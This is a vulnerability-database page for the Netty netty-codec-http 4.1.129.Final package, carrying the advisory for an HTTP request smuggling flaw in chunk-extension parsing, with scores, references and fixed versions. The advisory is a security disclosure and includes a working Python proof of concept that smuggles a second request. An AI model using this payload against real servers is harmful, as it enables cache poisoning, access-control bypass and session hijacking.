Lookup for vulnerable packages by Package URL.

Purlpkg:maven/io.netty/netty-codec-http@4.1.129.Final
Typemaven
Namespaceio.netty
Namenetty-codec-http
Version4.1.129.Final
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version4.1.132.Final
Latest_non_vulnerable_version4.2.10.Final
Affected_by_vulnerabilities
0
url VCID-9syp-fkzy-4fhy
vulnerability_id VCID-9syp-fkzy-4fhy
summary
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
## Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

## Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html>
- <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

## Technical Details

**RFC 9110 Section 7.1.1** defines chunked transfer encoding:

```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```

**RFC 9110 Section 5.6.4** defines quoted-string:

```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```

Critically, the allowed character ranges within a quoted-string are:

```
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
```

CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).

## Vulnerability

Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

**Expected behavior (RFC-compliant):**
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

**Actual behavior (Netty):**

```
Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
```

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

## Proof of Concept

```python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```

**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

### Parsing Breakdown

| Parser                | Request 1         | Request 2                          |
|-----------------------|-------------------|------------------------------------|
| Netty (vulnerable)    | POST / body="X"  | GET /smuggled (SMUGGLED)           |
| RFC-compliant parser  | 400 Bad Request   | (none — malformed request rejected)|

## Impact

- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.
- **Cache Poisoning**: Smuggled responses may poison shared caches.
- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.
- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.

## Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration.
2. Execute the proof-of-concept script included in the attached archive.

## Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

```
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.
```

## Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

## Resources

- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)
- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)
- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)

## Attachments

![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)

[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33870.json
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33870.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33870
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.0249
published_at 2026-04-26T12:55:00Z
1
value 0.00014
scoring_system epss
scoring_elements 0.02502
published_at 2026-04-24T12:55:00Z
2
value 0.00014
scoring_system epss
scoring_elements 0.02515
published_at 2026-04-21T12:55:00Z
3
value 0.0004
scoring_system epss
scoring_elements 0.12282
published_at 2026-04-02T12:55:00Z
4
value 0.0004
scoring_system epss
scoring_elements 0.12329
published_at 2026-04-04T12:55:00Z
5
value 0.0004
scoring_system epss
scoring_elements 0.12128
published_at 2026-04-07T12:55:00Z
6
value 0.0004
scoring_system epss
scoring_elements 0.12209
published_at 2026-04-08T12:55:00Z
7
value 0.0004
scoring_system epss
scoring_elements 0.12258
published_at 2026-04-09T12:55:00Z
8
value 0.0004
scoring_system epss
scoring_elements 0.12265
published_at 2026-04-11T12:55:00Z
9
value 0.0004
scoring_system epss
scoring_elements 0.12227
published_at 2026-04-12T12:55:00Z
10
value 0.0004
scoring_system epss
scoring_elements 0.12191
published_at 2026-04-13T12:55:00Z
11
value 0.0004
scoring_system epss
scoring_elements 0.12078
published_at 2026-04-16T12:55:00Z
12
value 0.0004
scoring_system epss
scoring_elements 0.1208
published_at 2026-04-18T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33870
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33870
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33870
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/netty/netty
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/netty/netty
5
reference_url https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/
url https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33870
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33870
7
reference_url https://w4ke.info/2025/06/18/funky-chunks.html
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/
url https://w4ke.info/2025/06/18/funky-chunks.html
8
reference_url https://w4ke.info/2025/10/29/funky-chunks-2.html
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/
url https://w4ke.info/2025/10/29/funky-chunks-2.html
9
reference_url https://www.rfc-editor.org/rfc/rfc9110
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/
url https://www.rfc-editor.org/rfc/rfc9110
10
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132229
reference_id 1132229
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132229
11
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2452453
reference_id 2452453
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2452453
12
reference_url https://github.com/advisories/GHSA-pwqr-wmgm-9rr8
reference_id GHSA-pwqr-wmgm-9rr8
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-pwqr-wmgm-9rr8
13
reference_url https://access.redhat.com/errata/RHSA-2026:10175
reference_id RHSA-2026:10175
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:10175
14
reference_url https://access.redhat.com/errata/RHSA-2026:10184
reference_id RHSA-2026:10184
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:10184
15
reference_url https://access.redhat.com/errata/RHSA-2026:7109
reference_id RHSA-2026:7109
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:7109
16
reference_url https://access.redhat.com/errata/RHSA-2026:7380
reference_id RHSA-2026:7380
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:7380
17
reference_url https://access.redhat.com/errata/RHSA-2026:8159
reference_id RHSA-2026:8159
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:8159
18
reference_url https://access.redhat.com/errata/RHSA-2026:8509
reference_id RHSA-2026:8509
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:8509
fixed_packages
0
url pkg:maven/io.netty/netty-codec-http@4.1.132.Final
purl pkg:maven/io.netty/netty-codec-http@4.1.132.Final
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.1.132.Final
1
url pkg:maven/io.netty/netty-codec-http@4.2.10.Final
purl pkg:maven/io.netty/netty-codec-http@4.2.10.Final
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.2.10.Final
aliases CVE-2026-33870, GHSA-pwqr-wmgm-9rr8
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9syp-fkzy-4fhy
Fixing_vulnerabilities
0
url VCID-qyhp-twx4-vffc
vulnerability_id VCID-qyhp-twx4-vffc
summary
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-67735.json
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-67735.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-67735
reference_id
reference_type
scores
0
value 0.00028
scoring_system epss
scoring_elements 0.07731
published_at 2026-04-16T12:55:00Z
1
value 0.00028
scoring_system epss
scoring_elements 0.0783
published_at 2026-04-12T12:55:00Z
2
value 0.00028
scoring_system epss
scoring_elements 0.07844
published_at 2026-04-11T12:55:00Z
3
value 0.00028
scoring_system epss
scoring_elements 0.07769
published_at 2026-04-02T12:55:00Z
4
value 0.00028
scoring_system epss
scoring_elements 0.07832
published_at 2026-04-08T12:55:00Z
5
value 0.00028
scoring_system epss
scoring_elements 0.07774
published_at 2026-04-07T12:55:00Z
6
value 0.00028
scoring_system epss
scoring_elements 0.07816
published_at 2026-04-13T12:55:00Z
7
value 0.00028
scoring_system epss
scoring_elements 0.07853
published_at 2026-04-09T12:55:00Z
8
value 0.0003
scoring_system epss
scoring_elements 0.08679
published_at 2026-04-26T12:55:00Z
9
value 0.0003
scoring_system epss
scoring_elements 0.08556
published_at 2026-04-18T12:55:00Z
10
value 0.0003
scoring_system epss
scoring_elements 0.08712
published_at 2026-04-21T12:55:00Z
11
value 0.0003
scoring_system epss
scoring_elements 0.08724
published_at 2026-04-24T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-67735
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67735
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67735
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/netty/netty
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/netty/netty
5
reference_url https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94
6
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1123606
reference_id 1123606
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1123606
7
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2422568
reference_id 2422568
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2422568
8
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-67735
reference_id CVE-2025-67735
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-67735
9
reference_url https://github.com/advisories/GHSA-84h7-rjj3-6jx4
reference_id GHSA-84h7-rjj3-6jx4
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-84h7-rjj3-6jx4
10
reference_url https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4
reference_id GHSA-84h7-rjj3-6jx4
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-16T14:26:21Z/
url https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4
11
reference_url https://access.redhat.com/errata/RHSA-2026:1899
reference_id RHSA-2026:1899
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:1899
fixed_packages
0
url pkg:maven/io.netty/netty-codec-http@4.1.129.Final
purl pkg:maven/io.netty/netty-codec-http@4.1.129.Final
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9syp-fkzy-4fhy
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.1.129.Final
1
url pkg:maven/io.netty/netty-codec-http@4.2.8.Final
purl pkg:maven/io.netty/netty-codec-http@4.2.8.Final
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9syp-fkzy-4fhy
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.2.8.Final
aliases CVE-2025-67735, GHSA-84h7-rjj3-6jx4
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-qyhp-twx4-vffc
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.1.129.Final